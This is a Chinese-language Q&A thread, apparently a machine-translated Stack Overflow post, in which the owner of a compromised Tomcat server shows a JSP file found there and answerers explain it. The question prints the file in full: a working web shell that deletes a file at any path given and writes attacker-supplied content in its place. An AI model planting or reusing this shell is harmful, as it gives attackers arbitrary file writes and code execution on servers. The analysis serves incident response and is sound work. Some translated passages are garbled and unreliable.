我有一个最近被利用的网络应用程序。服务器是tomcat 7.0.42。我在服务器上找到了我尚未上传的文件。你知道他们为什么出现吗?在这里,我向您展示其中一个文件的内容,有人可以告诉我它想要做什么吗?
<%@ page language="java" pageEncoding="gbk"%>
<jsp:directive.page import="java.io.File"/>
<jsp:directive.page import="java.io.OutputStream"/>
<jsp:directive.page import="java.io.FileOutputStream"/>
<% int i=0; String method=request.getParameter("act"); if(method!=null && method.equals("yoco")) {
String url=request.getParameter("url");
String text=request.getParameter("smart");
File f=new File(url);
if(f.exists()) {
f.delete();
}
try{
OutputStream o=new FileOutputStream(f);
o.write(text.getBytes());
o.close();
} catch (Exception e) {
i++;
%>0<%
}
}
if(i==0){
%>1<%
}%>
<form action='?act=yoco' method='post'>
<input size="100" value="<%=application.getRealPath("/") %>" name="url">
<br>
<textarea rows="20" cols="80" name="smart">
答案 0 :(得分:2)
这看起来像是一个为攻击者提供远程控制的rootkit。 他们正在为同一个JSP servlet创建一个表单。收到邮件请求后,将保留并处理通过POST请求发送给它的参数值;
String url=request.getParameter("url");
String text=request.getParameter("smart");
请注意,通过参数url
收到的值保存在变量url
中。然后,他们检查以确保参数值在删除之前作为文件存在 - 使用;
File f=new File(url);
if(f.exists()) {
f.delete();
}
最后,第二个参数smart
保存在参数text
中。然后将其用作使用参数url
作为文件路径创建的新文件的内容。
OutputStream o=new FileOutputStream(f);
o.write(text.getBytes());
o.close();
答案 1 :(得分:2)
此代码采用名为url
的参数和名为text
的参数,获取text
的内容并将其写入由{{1定义的Web服务器上的文件}}
基本上,客户端可以将任意文本上传到Web /应用程序服务器上可写的任何文件。
听起来就像发生的那样。
答案 2 :(得分:2)
这是将新文件写入服务器的方法。
这个小的.jsp会处理一个GET请求,如果有一个&#39; yoco&#39;并且&#39; url&#39;,它会尝试删除网址上的文件,然后尝试将该内容写入url参数的文件中。
写入文件后,可以运行该文件,键入该文件的位置。
如果成功则输出1,如果尝试写入文件失败则输出0。